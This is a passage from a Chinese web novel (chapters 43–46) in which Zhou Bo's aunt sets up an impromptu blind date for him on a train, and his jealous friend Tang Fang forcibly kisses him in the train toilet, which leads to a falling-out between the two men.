想了想,周勃闭上眼睛说:“你赶紧找个女朋友吧。” 唐放听这话一顿,不明白他突然说这个是什么意思,他面上不显:“为什么?” “早点结婚,或者找个靠谱的对象儿先处着。”别跟他似的。 唐放听这话心里不舒服,他笑笑:“怎么,这些天给你整累了?” 这人还是不明白他的意思,周勃无奈睁眼,看扭头看向唐放,这人也正看着他,那双眼睛笑眯眯的,让人看不出情绪。 周勃想了想,组织下语言:“都不小了,该找对象了,不然——” 话没说完,唐放打断他,笑了:“什么不小了,才多少岁,都年轻找什么对象,找个不喜欢的,然后给我戴绿帽?” “……”周勃不明白他笑着说话语气这么冲干什么,他轻轻皱眉,略过心里那点儿不舒服,“我的意思是说,你不可能不结婚,不如早点找个对象,趁着年轻培养感情,先生个孩子,不管怎么样,都是需要走出去的一步。” 像他,完全是相亲,不知根知底,最后把自己闹成了笑话。 唐放此时笑不出来了,他黑漆漆的眼睛里藏着认真,像是在确认:“你是真这样想?” “想让我赶紧找个女人,然后结婚,再和你划清界限?” 周勃一愣,这怎么和划清界限扯上关系了?? “不是,你找个对象而已,怎么就……” “什么找个对象,找个对象了,天天跟条狗似的围在她身边,然后一个星期连一天都见不了你一面,你满意了?” 周勃更懵了,“不是,你先停一停,你是结婚,你是找对象,你不是进监狱!” 唐放又笑了,笑意不达眼底,很是嘲讽:“有什么区别?” 区别大了去了!周勃觉得唐放是不是对找对象结婚有什么误解,看着他那眼神,周勃觉着他要是敢再多说一个字,这人怕不会用眼神把他刮了。 周勃举手投降,“我不说了,你找不找是你的事,我错了。” 第43章 第 43 章 周勃是过了好久才发现唐放这家伙生气了, 这人话少了很多,对着他没了笑脸,也不是以前他对着自己总是笑脸相迎。 就是,周勃很明显能感受到唐放对自己的冷淡。 一直到上了去海城的火车, 就连周山妹也感觉到唐放对周勃的不同, 她拉住周勃小声问:“你和唐放吵架了?” “没啊!”周勃很是无奈。 他回想着之前, 也就那天晚上和唐放有了点关于婚姻对象的深入交流, 最终以他投降告终。 周山妹不相信他的话, 对着他敦敦教诲,“两个大男人,有什么事不能直接说的, 说开了就好了!” “再说了, 唐放对你这个朋友够意思了,这些天看人家啥都不说, 只知道帮忙干活!你可别不知好歹啊!唐放这孩子我看着挺喜欢的,朋友之间吵架正常, 人家夫妻不照样儿也吵架嘛!” 周勃:“……” 见周山妹还要继续说, 苦口婆心的劝说, 连忙给她制止住,“行了行了, 小姑, 我知道了!” “你说的我都知道了, 我们真没吵架,唐放他估摸着就是心情不好。” 周勃给周山妹搪塞过去, 去洗手间上厕所去了。 唐放正在车厢连接处抽烟呢, 眼睛透过窗户看着外边儿,侧脸的下颚线锋利流畅, 指缝夹烟的样子让人忍不住多看两眼。 周勃也不知道唐放在气什么,难道是因为上次让他找对象儿的事儿? 一边洗手,一边摆弄自己的头发,周勃在心里琢磨,觉得人也不可能是那么小气的人,一个提议而已。 是他戳到了唐放哪根神经? 周勃百思不得其解。 车厢里不少人叽叽喳喳聊着天,周山妹第一次走那么远出去,对一切都挺新鲜,有个睡她上铺的大妈找她聊天。 “刚才那个是你儿子啊?”大妈好奇。 周山妹笑着回答:“那是我侄子!” 这一聊天,给了其他人说话的机会,有人说:“那是你侄子啊!长得可真俊!” “另外一个呢?也是你侄子?” 周山妹一听就知道他说的是谁,她笑着回答:“另外一个是我侄子的朋友!” “两个小伙子都长得俊啊!”大妈说,“结婚了没啊!你可不知道,现在的小年轻,说着要什么自由恋爱!一个个的,二十多岁了,还找不到对象儿!” “可不是嘛!我家那个,也是这样,什么自由恋爱,媳妇儿都找不到!”另一个大妈插话。 周山妹听着,赶紧问:“那现在找对象儿很难喽!” “也不是,你家那个长得这么俊,肯定好找!”大妈说。 “也不好找,”周山妹叹口气,“你怎么知道,你随便找的是人是鬼?” 一听周山妹这话,直觉有故事,大妈问,“咋了?是有什么事吗?” 村里没怎么说,现在出来了,全是陌生人,周山妹的倾诉欲来了,跟倒豆子似的,她把周勃娶了个带崽的李丽华这事儿全倒了出来。 这可是八卦啊! 周围人听得眼睛一亮,对周山妹的述说时而倒吸一口冷气,时而愤懑,时而感慨。 周勃还没回来呢,周山妹给他全抖落出来了。 大妈听完周山妹的讲述,对她侄子带上同情,“那你侄子现在怎么办呢?他还找对象吗?” “找啊!” 周山妹连忙忧心忡忡说:“怎么可能不找!” “再怎么也不能打一辈子光棍啊!” 大妈说:“也是。” 这大妈也不知道是想到了什么,一拍手掌,两眼放光的看向周山妹:“你家侄子,对对象儿有什么要求没?” 周山妹没听明白,大妈连忙解释,“是这样儿,我家那个,都二十多了,老大不小了,是时候该找个对象儿!” “姐,我是这样想的,反正咱们在车上都是缘分,不如叫他们见个面儿,认识认识!要是看不对眼,以后这也遇不到了,看对眼了呢!咱们就留联系方式,正好啊!” 周山妹为了侄子这个结婚的事儿操碎了心,听到大妈这么个建议,眼睛一亮。 再一琢磨,这不挺好的嘛! 反正就是看看,又不是真相亲,俩孩子要真没感觉,下了车谁都不认识谁,要看对眼了,人生大事啊!这不就解决了! 周山妹连忙答应,“好啊!当然好!” 听到周山妹这样说,大妈也高兴的连忙从床上爬下来,“姐啊,你先等着,我家那个在其他铺,我把人叫过来!” 周山妹笑得嘴都合不拢嘴,想着,周勃上个厕所怎么还没回来啊! 这边,周勃从厕所出来,慢悠悠走到唐放身边。 顺着他的目光看出去,外边儿是一望无际的天际线,斜矮的房屋稀稀拉拉竖立着,眨眼便不见踪影。 “看什么呢?” 唐放扫了眼周勃,没说话。 一根烟抽完,他手上又换了根,寥寥升起的烟雾笼罩在俩人间。 有一刹那,周勃竟然没看清唐放的脸。 这人或许天生就这样,喜欢一个人的时候,恨不得把心都给人刨出来,给人伺|候得舒舒服服,一个电话就能把人从床上叫起来。 不喜欢一个人的时候,也很明显,一个眼神儿都懒得送过去。 唐放对他,不管是之前还是现在,虽说有时候嘴欠儿点,还喜欢黏着他,但人对他是真好,周勃不可能感受不出来。 他用脚尖踢踢唐放,声音放软,“别气了。” 唐放又看了周勃一眼,这时候终于说话了,他声音淡淡,目光看着窗外。不知道在想什么。 “我没生气。” 周勃觉着唐放这话和有些姑娘说话一样,具有艺术感,薛定谔的没生气,但你要真信了他没生气,你就是傻|逼了。 周勃不是傻逼,他声音放得更软了,给人道歉:“我错了,你真别生气了,气坏了身体,不好。” “……”唐放看着周勃,良久,嘴唇动了动,“你错哪儿了?” 你看,这不就是生气了吗? 周勃说:“哪儿都错了。” 这话说出来,一点儿犹豫都没有,就跟哄姑娘似的,但唐放不是姑娘,他说自己没生气,也确实没生周勃的气。 唐放对这话一点反应没有,他又看向窗外。 周勃有什么错呢? 他还给自己帮忙,唐放想,他或许怎么都忘不掉那几天,忘不掉的画面很多,每次想起来总让他心潮澎湃,让他忍不住,一次又一次的贪心,开始试探周勃的底线。 可说到底,人根本就是拿他当朋友看,不管他做的有多过火,最终都能用俩字“朋友”,一概而论。 他们所有的一切,都被划到了一个名为朋友的圈。 可,哪个朋友会晚上做梦梦到对方,哪个朋友会想要对方,哪个朋友会被对方一个小眼神儿迷得找不着北。 唐放承认,自己确实是栽了。 关键这人还能面不改色的说出让他去找对象这种话。 这是人能说出来的话吗? 他不气周勃,他气的是自己,怎么没在一开始,就直接把这人给办了!说不定尝了滋味就不惦记了呢? 搞的现在,上不上,下不下。 周勃没得到唐放的回答,也不知道该说什么,看着唐放这一个人搁这儿抽烟,又莫名觉着人可怜。 想了想,周勃也摸了支烟出来,和唐放一起吞云吐雾。 一支烟的时间,说长不长,说短不短。 周勃抽完烟,再度用手肘捅了捅唐放的腹部,他笑着,“还生气呢?” 唐放身体被他这捅得僵硬了下,随后放松身体靠在墙上,黑色的发丝打下浅浅阴影,衬得他多了分说不清道不明的深沉。 “说了,我没生气。”唐放淡淡道,想了想,他说:“你先回去吧,我想点儿事儿,想通了就好了。” 都这样了,还说你没事? 周勃觉着唐放真是犟,但人都下逐客令了,他能怎么办? “行吧,那我先走了,有什么事叫我。”周勃说。 唐放点点头。 …… 周勃刚回车厢,就见周山妹站起身看见他的眼睛一亮,急匆匆朝他招手。 周勃走过去,还以为发生什么事了,“怎么了?” 周山妹笑眼弯弯,三两句话把刚才她和大妈的合计说的清清楚楚,“那个人,她女儿也没结婚,正好是要到结婚的年纪了!” “我想着,反正就是看看,你就去呗!约好了在前边儿那儿,她把她女儿叫过去,你也过去!又不会掉块肉,要真看对眼了,结婚这事儿不就解决了嘛!” 越想,周山妹越觉着自己这个想法可以,她是真让李丽华伤到心了,现在就是想迫不及待给侄子介绍个姑娘。 也不着急,就先处着,有个考虑期观察观察人咋样。 可要真和姑娘相处,哪不得赶紧找个姑娘了先! 周勃听完自家小姨的话,差点一口水喷出来,他赶紧拉住周山妹,“不是!小姑,我刚离婚呢!哪有这么快!” “什么快不快的,我们那时候结婚,不都是这样儿,婚前见两面就直接结婚了!”周山妹一拍周勃后背说。 可他不愿意啊! 周勃说什么也不肯去,“你怎么不先给我说声儿!多尴尬啊,现在就见面!” 周山妹催促他好些回,见他真不动,急了:“哎呀!不是,你就是去和人姑娘见个面,又不是让你直接和人结婚!” 周勃不动,或许是刚才从唐放那儿无功而返,他有些烦躁。 现在一回来就猝不及防要和人姑娘见面去了,谁愿意啊!再说了,他要真和人姑娘结婚了,那不是耽误人吗? 想到这,周勃脸暗下来,现在都奉行多子多福,像他这样,他怕到时候完了又是家庭不和。 “你这孩子!我都答应人了!人就睡我上铺,都给她闺女叫过去了,你不去,那我咋办啊!”周山妹急得鼻子冒汗。 周围人从头看到尾,见状也忍不住劝道:“哎呀,小伙子,你姑都这样说了,去见见面嘛,男子汉,别这点儿胆量都没有,又不会掉块肉。” “对啊,人姑娘都不怕,男人怎么能怂?” 七嘴八舌的人不停劝,周勃看着小姑那着急的样儿,终于松口了。 “行,我去,但你要答应我,下次这种事儿,你得先给我说,不能一个人就把事儿给办了。”周勃郑重其事道。 “行行行,你说什么都行,我答应你!”周山妹可不管这些,她侄子要不去,多对不起人家啊! 她赶紧推着周勃过去。 周勃十分无奈,只能顺着周山妹的意思,往那儿过去。 第44章 第 44 章 周勃被周山妹带到了车厢连接处, 远远看着一个肩披长发身穿淡黄色长裙的姑娘被个大妈推搡着过来。 这姑娘清秀可爱,正皱着眉,大妈反倒是满脸笑容。 这姑娘可能也没想到,就坐个火车, 她妈也能给她找个相亲对象出来, 离得近了, 也不能给人甩脸子, 她收好表情, 麻木的站在大妈身边儿。 周山妹见着大妈,立马就笑了,对着周勃和那姑娘说, “我们就不打扰你们了, 你们先聊聊,我们还有事儿要做。”说完, 周山妹对着大妈眨眨眼睛。 这暗示的模样生怕别人看不见。 大妈收到暗示,连连笑着附和, “啊对对对!你们说你们的, 我们先走了!” 俩人急匆匆一前一后的离开。 等到俩人走后, 空气瞬间变得尴尬起来。 周勃因着刚才见到这姑娘皱着的眉,大概能猜出这姑娘怕也是被迫来的, 不由得身体一松。 两边都没说话。 过了会儿, 周勃开口了。 “我叫周勃, 你是刚才那个阿姨的女儿吧。”他笑笑,率先展露出自己的友好。 这姑娘一愣, 也跟着简单介绍了下自己, 她叫陈宝珠,今年23岁。 “可能是我妈没搞清楚我的情况, ”陈宝珠说,她瞅了瞅周勃的脸色,“事实是,我已经有男朋友了,还没给她说而已,所以希望你不要误会。” 周勃怎么会误会,他笑得更真诚了,“不会不会,说起来,也是我小姑太心急了,我才离婚,暂时还没有找对象的打算。” “哦。”陈宝珠说,“那也是我妈,她也太心急了。” 可能是面对着陌生男人,陈宝珠有点不知道说什么的尴尬。 周勃是个老人精了,以前没少遇到过尴尬的场景,属于,只要他想,也能把气氛活跃起来,不想的话,对方尴尬他也没什么感觉。 不过这么个姑娘在这儿,也不能俩都干站着光瞪眼吧。 周勃说:“这样吧,我们在这里再站会儿,不然回去太快也不行,到时候直接都说觉得不合适。” “好。”陈宝珠觉得这是个不错的主意,她点点头。 两节车厢都是卧铺,除了上厕所的人会往这儿看上一眼,基本上是没人的,和这么个姑娘在这儿独处,周勃开始找话题聊天。 “我看阿姨好像迫不及待要给你找对象的样子,你最好还是早点把男朋友介绍给她,”周勃提醒,“不然到时候,这种事可能会层出不穷。” 说到这个,陈宝珠眉头不自觉皱起,想起自己的男朋友,又想起之前一大堆糟心事儿。 可能是对着以后再也不见面的陌生人,她有了倾诉的欲望。 “我也想告诉我妈,但是我怕她不同意我们在一起。” “他是我前男友,之前就因为家里人的原因我们分手过一次。” 陈宝珠说着,长叹一口气,“我要是告诉我妈,我们又在一起了,我怕她会打死我。” 周勃心中微微惊讶,这前男友是干了什么事吗?这么不招人待见。 他不好多说什么,只能委婉道:“但你要知道,如果你真的很喜欢你男朋友的话,你妈妈迟早会知道的。” 陈宝珠也知道这个道理,看着面前这个男人。 不管是长相还是什么,都很容易引起人的好感。 可惜她有男朋友了。 “我也知道的,我对象儿对我很好的。”陈宝珠说。 “我们是高中同学,他家里很穷,还是我追的他。” 说着说着,陈宝珠声音越来越低,似乎这时候女孩追男孩不是什么好骄傲的事,她瞥了眼周勃,见他没露出异样,心情这才好了些。 “我就是害怕,给我妈说了,她会不会还是不同意。” 周勃心说,你妈之前都不同意了,现在怎么会同意,但他不是来给人姑娘增加压力的,他只说让她想开些。 …… 另一边,唐放在车相连接处收拾好了心情,慢慢往回走。 说实在的,他还是没想出个所以然,很郁闷,但让他放手? 这不闹吗? 唐放一想到自己以后和周勃不咸不淡样子,他觉得自己得疯。 到底是啥时候惦记上这人的,说起来连他自己都没注意过。 这人就像是空气,一点一点充斥你的空间,让你毫无察觉的给人吸进肺里。 完了才发现,这空气是必需品。 你不吸,会窒息。 唐放百无聊赖的想着,反正现在不急,都还年轻,周勃能润无声的融进他肺里,他就不信,自己这么多人惦记的人,还不能住进他心里了? 笑话! 车厢卧铺,周勃和周山妹的床位是挨着的下铺,唐放则是在周勃上铺。 车厢中不乏有抱着孩子的妇女和跑来跑去的孩子,都在自己床铺附近闹腾着。 唐放穿过走廊,回来时没看到周勃,他也没在意,以为人是上厕所了。 爬上床铺躺着,唐放边思考着后边怎么搞,边听着周山妹和她上铺人说话,一只耳朵听着听着,慢慢察觉到了不对。 周姨这聊天怎么还涉及到周勃和另外一个姑娘。 听周姨上铺那人的语气,好像是她女儿。 唐放心中直觉不好,他坐起身,中铺的狭窄容不下他这个大高个,坐起来只能艰难的弯着腰,头顶几乎和上铺板紧紧贴着。 头部的不适直接被唐放忽略,他抿唇,随后看似平静的问:“周姨,周勃去哪儿?回来怎么没看见他?” 周勃去哪儿?他当然是和姑娘相亲去了! 周山妹听唐放问起来,她笑着说:“我上面这位大姐,她有个女儿,正好也没结婚,这不都是找对象儿吗,我俩就合计着,干脆让俩孩子见一面,聊聊天。” “这指不定就成了呢!唉!对了,周勃他给你道歉了吗?这孩子肯定是做了什么事……” 接下来的话唐放没再听见,周山妹没想过自己的话会对唐放造成多大的冲击,反正唐放这时候脑子嗡嗡的。 喉咙发干,脑子一片空白。 什么叫指不定就成了呢? 所以说,自己这边儿都还找对象儿呢,周勃这家伙先找了是吗? “哐当!” 这是寻呼机掉下床的声儿,周山妹连忙弯下腰去找掉在地上的寻呼机。 “唉!找到了!唐放,你这孩子,怎么这么不小心啊!东西都掉了!” 周山妹手里捏着寻呼机,看向唐放的床铺。 只见洁白的床铺上早已没了人影了只留下一团皱巴巴的被子缩在墙脚。 睡在她上铺的大妈看得真切,“那个帅小伙,刚才跑了!” “跑了??” “对啊,我看他一下就从梯子上下来了,差点摔到在地上呢!也不知道是干什么,跑的可快了!” 周山妹也搞不明白唐放跑了干什么,“估摸着是上厕所去了吧。” “应该是,往那边走的都是去上厕所的。”大妈附和。 只坐在床铺前面的大叔不说话,心想这不是废话吗? 往哪边走不都是去厕所? 唐放觉得自己的心脏快要爆炸了,大脑充斥着刚才周姨说的话,路上个小孩撞到他身上也没感觉到。 他的脸阴沉得可怕,那撞到他的小孩,一屁股坐在地上,本想瘪嘴一哭,可眼睛看到了唐放的脸,一下子收音了。 吓得嘴巴都不敢动。 唐放大步流星,之前他回卧铺的方向没看到人,那就意味着人肯定是在这边儿。 一路上,唐放脑海中想起了很多,关于周勃,关于认识他的这些天。 他的情不自禁,以及周勃的点点滴滴。 唐放知道周勃完全不知道自己心思,他知道周勃现在就是个无辜者。 所以他一遍又一遍的告诫自己冷静,不要做出越轨的事,不然到时候连朋友都做不了。 果不其然。 唐放刚拐个弯,一男一女的身影缓缓出现在他眼前。 女的披着一头秀发,穿着淡黄色长裙,有着一张清秀可爱的脸,一双眼睛正含情脉脉的盯着男人。 男的他很熟悉,就算是背对着他,唐放也能一点点把这人正面儿给描绘出来。 此时,周勃是好不容易才把这姑娘给劝住,谁能知道这姑娘,说着说着眼睛一红,竟然开始掉起小珍珠。 没办法,周勃只能轻声安慰,好容易把人安慰住。 这就是唐放所看到的女人“含情脉脉”。 其实就是人姑娘眼泪还没收完呢。 唐放是不知道,他只看到,周勃不知道是说了什么,又给那女的逗笑了,给他气得五脏六腑都开始灼烧起来。 好家伙,平常不见你说个笑话都我开心,现在遇到姑娘了,知道说笑话逗人开心了! 唐放努力让自己冷静下来,因为他知道,不管怎么样,他都是没理的那一方。 陈宝珠也注意到了周勃身后的男人,长得又高又帅,正死死盯着周勃的背影。 那拳头捏的紧紧的,面色阴沉,好像差点儿就要冲过来给人脑袋上来上一拳。 陈宝珠难免有些害怕,她拉拉周勃的衣角,示意他看向身后,“你认识那个人吗?他一直盯着你。” 这地方也就上厕所的人会往这边看上一眼,平常时候人很少。 唐放这么个大活人站在这儿,除非陈宝珠是瞎子,不然不可能看不见。 周勃顺着陈宝珠的视线看过去,他眉眼一挑,“你怎么过来了?” 见周勃认识这人,陈宝珠顿时松了口气。 冷静两个字是唐放对自己的警告,过分压抑自己,表现的结果就是,攥紧的到发白的拳头,越发阴沉的脸以及那双泛着冷光的丹凤眼。 可纵使他多么努力的让自己冷静下来,对自己说,周勃什么都不知道,他有去相亲的权利。 在周勃转过头,对他露出个笑容时,紧绷的神经就像根到了极致的弦。 只对方轻轻一个挑弄。 弦,崩了。 第45章 第 45 章 唐放自认为, 自己不是那么容易理智崩塌的人,在高中养父养母去世时他也十分冷静。 只有在过后面对空旷的房间时才会有那么点情绪上涌。 他不是个容易情绪化的人,很多时候,他的朋友也会因为他的镇定而感叹。 “放哥, 你说说你, 你也太淡定了吧!那可是XXX啊, 好多人追的!”有人这样说过。 “是啊!真想象不出, 你以后会栽倒哪个女人手里!会不会其他兄弟一样, 对女人言听计从!”另外的人附和赞叹。 那时候他是怎么回答的? 唐放对此十分不屑,并露出个略带轻视的笑容:“什么女人,那是男人路上的绊脚石!” 因为他受女人欢迎, 众兄弟对他这样儿的嚣张十分不满, 特别是那几个求而不得夜晚买醉的兄弟。 他听见有人幽幽说:“那是你没遇见,等你遇到了, 你就知道了,你迟早得为了那个姑娘发疯!” 唐放当时喝了点酒, 没说话, 也没把这话当回事。 后来有王伟杰说, 风水轮流转。 他也没当回事儿,只是觉着要真喜欢上哪个姑娘, 以他的魅力, 怎么不会疯狂的爱上他? 事实是, 这个贼老天也没告诉他,那个姑娘, 她带把! 唐放只觉得周勃这人, 是真的很会怎么给人惹生气。 陈宝珠还没说话,只见那个高大的帅哥一把抓住周勃的手腕, 节骨分明的大手像是手铐一般,牢牢捏住周勃的手腕。 周勃还没反应过来,被人拉得一个踉跄,还没问唐放发什么疯,就见陈宝珠愣愣的站在原地。 周勃只得给对方回个抱歉的眼神。 陈宝珠咽咽口水,她收到了周勃的眼神,也看到了那只拉着周勃的手。 手臂上有个纹身,青筋随着主人的用力暴起,配着对面那人儿阴沉的脸,漆黑的丹凤眼。 浑身的气势,让她根本不敢靠近半分。 总觉得…… 她这个鸡肋的相亲对象,好像有点麻烦了。 他应该不会出什么事儿吧。 周勃手腕被唐放捏得生疼。 他忍不住皱着眉,“是发生什么事儿了吗?唐放,你先给我手放开!有什么事,我们好好说。” 抓着他手的唐放好似听不见一般,周勃怀疑他是不是耳聋了。 “啪!”的一声。 厕所门应声关上,周勃转了转自己的手腕,正要问唐放怎么回事。 抬眼,发现自己好像到了个密闭的空间。 火车上的厕所小得可怜,两个大男人挤在里面,就连转身都做不到。 他俩现如今的距离也就一个拳头左右。 周勃懵了,不明白唐放这是什么意思,正当他想问问时,一只大手牢牢扣住他的后脑勺,随后跟着而来的是一抹温热附在他的唇上。 这是个充满暴戾气息的吻。 唐放这人儿力气太大,不管周勃怎样挣扎,拳头锤在他的胸口,这人一动不动,身体站的笔直。 只有那口及|口允,越来越猛烈,仿佛要将周勃整个人吞进腹中。 周勃理智没消失呢,他甚至对此产生了震惊,极度震惊,唐放这家伙现在是正在亲他吧!这是朋友会做的事儿? 明白过来,周勃挣扎得更厉害了,可惜他的挣扎,在失去理智的人面前不堪一击,甚至还会增加人的怒火。 那只牢牢禁锢住他头的手,死死的控住他,周勃脑后是灼热的大手,前边儿又是这人滚烫的呼吸,有一瞬间,他甚至感觉自己如同身处岩浆之地,快要被那流淌的岩浆淹没。 周勃想说什么,刚张开嘴,对面人仿佛是看到了可口的蛋糕,力度加大。 另一只手搂住周勃的腰,肆意宣泄着自己的情绪。 周勃感觉自己快要窒息了。 唐放这家伙哪儿来的力气,而且,他是狗吗? 咬住人就不松口了,周勃心中难免冒出怒火,眼瞅着这人竟然越来越过分了,搂着他腰的手往衣服里伸,滚烫的手紧紧贴在他后腰,有向上的迹象。 周勃忍不住了,狠狠咬下一口。 瞬间,血腥味儿在两人嘴里蔓延。 周勃终于被放开了,窒息感退却,让他不由得开始大口呼吸,看向唐放的眼睛里冒着火光。 “唐放,你是发的什么——唔——”疯? 口中的血腥味儿丝毫没让唐放冷静下来,相反这淡淡的铁锈味儿更能激发男人血液中的血性及兽性。 周勃似乎根本没注意到自己此刻的模样,憋得通红的脸,以及那水润的唇,就算语气是多么严厉,放在唐放眼里,那都充满着诱惑。 似乎在说,你不是气吗? 有种艹死我! 唐放有种,他直接上手。 周勃觉着自己就像是艘船,飘荡在无边无际的大海上,席卷而来的暴风雨让他时而飘在海上,时而沉入海底。 但这狂暴的暴风雨好似还嫌不够,硬要将躲在船上的人,生生吸出来。 唐放这人就是这样,你不把他惹毛,他事事惯着你。 你要把他惹毛了,他什么事都能干出来。 关键周勃根本不知道自己是哪儿惹到他了,他觉得唐放这家伙是不是疯了。 就在他再一次把唐放推开,趁着间隙,周勃厉声道:“唐放,你是疯了吗?” 疯不疯的,唐放早就不知道了,他只想尽情发泄自己胸中的郁闷,让那疼的有些发酸的胸口能够缓过来,疯了又怎么样? 他唐放,不疯的事儿,还不稀得做! 唐放此刻就像是个即将从牢笼释放的野兽,本来是想慢慢诱惑心爱的猎物自投罗网。 可现在突然出现了个竞争对手,猎物竟然自愿朝她走过去。 于是,野兽疯了。 为了留下他,唐放只能率先撕开笼子,将猎物先咬下了再说。 可周勃下一句话却让他浑身沸腾的血液立马冰冻。 “你是想,我们连朋友都做不成?” 唐放的理智瞬间回归,是了,周勃什么都不知道,反而是他,现在暴露的彻底。 眼帘低垂,唐放觉着自己呼出的热气都带上淡淡的冷。 理智归来,唐放的手捏成拳,突然地,他有些不敢周勃的眼睛。 怕里面展现出厌恶。 这不是互相帮助,谁也没办法把这种情况理解为互相帮助,哪个兄弟会对着兄弟又抱又啃? “砰!” 拳头狠狠砸在厕所墙壁上。 “你和刚才那女的看对眼儿了?”唐放问,低垂的头发遮住他的眼眸。 周勃不理解他现在问这个问题的意义在哪,他强迫自己冷静下来,一字一句咬牙切齿道:“她有男朋友,我们站着说说话,怎么,这就碍你眼了?” “不分青红皂白,抓着人就强吻,唐放,你是不是有病??” 唐放一愣,他下意识抬起头,一双丹凤眼紧紧盯着周勃,他只听见了“她有男朋友”这句话。 “你说的是真的?” “你说呢?” 周勃给气笑了,也就唐放这个疯子,来了什么话也没说,拉着人钻卫生间,还学狗咬他! 唐放不知道该怎么形容这股心情,就好像,你原以为自己肯定会掉进粪坑的烦躁和绝望,结果,老天给你开了个玩笑,发现自己掉进去的不是粪坑,而是泳池的庆幸。 庆幸,之中带着狂喜。 周勃没他那样儿的感情转变,他的脸冷得要掉下冰碴子,想狠狠撞开唐放,从厕所出去。 但唐放下盘稳扎稳打,周勃一时之间,竟然没撞动! “让开。” 唐放没动,他现在怎么可能放周勃出去,一只手摁住周勃的肩膀,“所以说,你们不会在一起?” 周勃站直身体,他抿着唇,忽然问了个问题,眼睛直勾勾的盯着唐放。 “唐放,你是同|性|恋?” “不是。”唐放下意识反驳。 周勃沉着眼,勾起的嘴角略带讽刺,“你不是同|性|恋,你亲个男的?” “唐放,”周勃这两个字说的很重,“我不歧视同|性|恋,但是,你想找人疏解,也不能找到我头上。” “你别忘了,我再怎么说,也是你的朋友。” 唐放不知道自己听着这话是什么感觉,周勃说这话说的认真,连带着他也不可能不认真去对待。 “你觉得我这样儿对你,是因为我是个同,然后我是想找你疏解?”唐放说这话时,表情很淡,只有捏紧的拳头,掐到手心的指甲,才透露出点儿他此刻的情绪。 “难道不是吗?” 一句反问,唐放无话可说,或许在他看来是这样,但自己,从来没有那样想过。 周勃此刻也带着情绪,任谁忽然从人面前拉走,关到厕所里被亲了又亲,都会觉得荒谬至极,更荒谬的是,这个人还是你的兄弟,你的朋友。 越界的行为,换成其他人,老早一个拳头挥过去了。 也就是周勃涵养好,能和唐放讲讲道理。 唐放却觉着,自己喉咙里泛着苦,又酸又涩,他尽量让自己看起来很平静。 “你放心,我不是同。” “我有喜欢的人,只不过我喜欢的人是个傻|逼,刚才想她想疯了,再加上喝了点酒,才会亲你的,因为你们长得太像了。” 周勃:“……” 所以他是替身? 没来由的,周勃心里冒出点火,虽说知道唐放这家伙这话大概率是扯淡,但他听着还是极不舒服。 周勃的脸又冷了,谁会高兴被当做替身,“……最好是你说的那样。” 他推开唐放。 唐放一言不发,很顺从的背贴在墙上,让开了路,看着周勃的背影消失在视野,捏紧的拳头一点点放松,或许连他自己都没发觉,指甲掐进肉里带来的疼痛。 他开始一遍又一遍的洗手洗脸。 好似这样,就能让心中舒缓些。 一遍又一遍,水满出小水池。 “啪!”的一下。 一个拳头重重锤在水面上。 “艹!” 第46章 第 46 章 周山妹和这个大妈很聊得来, 虽然知道了俩人没看对眼,却都不急,俩人你一言我一句,慢悠悠聊着天。 周勃躺在卧铺, 他的嘴唇似乎还停留在刚才的触感, 那是一种被人口及|口允到麻木的感觉。 那种麻意好似能从人的脊背上爬到天灵盖, 让人战栗。 甚至就连他躺下, 后腰被人触碰的滚烫感也还历历在目。 不过, 充斥周勃脑海的,还得是最后唐放说的话。 神tm他不是同,神tm他喜欢的人是个傻|逼, 还和他长得像, 这不就是在赤|裸|裸的骂人吗? 唐放要真有个其他喜欢的人,周勃俩名字他倒过来写! 周勃气得咬牙。 现在真回想起来, 唐放这家伙亲他反倒没怎么让他气,最让他气的是, 这人啥都没说然后发疯, 发疯完了, 说喜欢的人和他长得像。 像你|妈像! 周勃拳头捏紧,想给身边的墙狠狠来上一拳。 但他理智占据上风。 这墙不是真的墙, 砸下去手疼不说, 还扰民。 至此, 周勃和唐放终于陷入冷战。 之前是唐放生气,周勃时不时给人送温暖, 现在是俩人都不说话了, 周山妹一人夹在中间。 就算是个傻子,也能看出问题来了。 私底下, 周山妹问过周勃,到底是发生什么事了,可周勃闭口不言,不管周山妹怎么问,也没问出个所以然来。 冷战持续,一直到海城分开,周勃和唐放没说过一句完整的话。 周勃带着小姑到了新家,先给她介绍了整体房屋的构架,然后再拉着人给她送到了属于她的房间。 周勃给小姑买的家具风格类比田园风,尽量做到让人住的舒适。 周山妹那儿见过装修的这么好的房子! 村里有钱人家修的房子那地板都还是水泥的呢! “这得花不少钱吧?”周山妹摸了摸床单,料子的触感很真切,一摸就知道是好料子。 周勃没说话,脸上的笑意代表了一切。 看完卧室,周山妹又去熟悉了下厨房,这里可是她以后的战场! 这边周勃带着周山妹适应环境。 那边王伟杰开车接到唐放,回出租屋,他边下车边说话:“啧啧啧!放哥,你可真行啊!生日直接丢下我们就跑了!” 陈牧德大概是听到了唐放两个字,从出租屋里出来,他穿着身有些泛黄的背心和大裤衩,笑嘻嘻附和道:“是啊!放哥,你也太不仗义了!都答应我要去了,结果一个人偷摸|摸跑了!” 唐放崩了许久的脸,此时终于露|出个笑容,淡淡的,能看出这人之前心情可能不怎么好,“怎么,你是给我省钱了?” 陈牧德摸|摸鼻子,那当然是没有,他们那天玩嗨了,还叫了好几个妹子陪着聊天喝酒,花的钱是天价。 要知道,当时他们看着那账单咽了咽口水,谁都不敢多说话。 还是王伟杰说,反正放哥都说让他们随便玩了别有负担,然后兜底把钱付了,不然大伙儿不好意思,恐怕就得当场分点钱出来。 他们花了多少钱,唐放心里有数,一路上王伟杰都和他说了。 钱这种东西,没了就没了。 唐放毫不在意。 王伟杰知道这点儿,所以对他回老家的动机十分好奇。 “放哥,你说句实话,你回家是真去掰苞米的啊?” 话问出来,唐放没说话,陈牧德开始嚷嚷了。 “什么掰苞米,放哥他家就剩他一个人儿,苞米都没种,掰什么苞米?” 王伟杰轻飘飘斜了陈牧德一眼,这厮瞬间闭嘴,他继续好奇道:“既然不是给家里掰,那是回家干什么?给别人家掰啊?” “那不可能吧?” 陈牧德听见这话,心说,有什么不可能的。你得看看是给谁掰,要是给周勃,那就说不定了。 但陈牧德转念一想,也觉得有点儿不符合实际,他承认放哥对周勃是有那么点儿好,但也不会好到这么上赶着吧? 哪有自个儿生日都不过了,跟着人就跑了? 唐放对此不置一词,他瞥了俩人一眼,心底有点烦,摸了摸口袋想抽烟,却发现,烟早就给他抽完了,只能朝着出租屋里走,边走边说:“怎么?你们俩什么时候关系这么好了?” 说起这个,王伟杰和陈牧德瞬间不啃声了。 比起之前,他俩现在看着关系是要好了点儿,原因是什么呢? 这还要从王伟杰的妹妹,王敏说起。 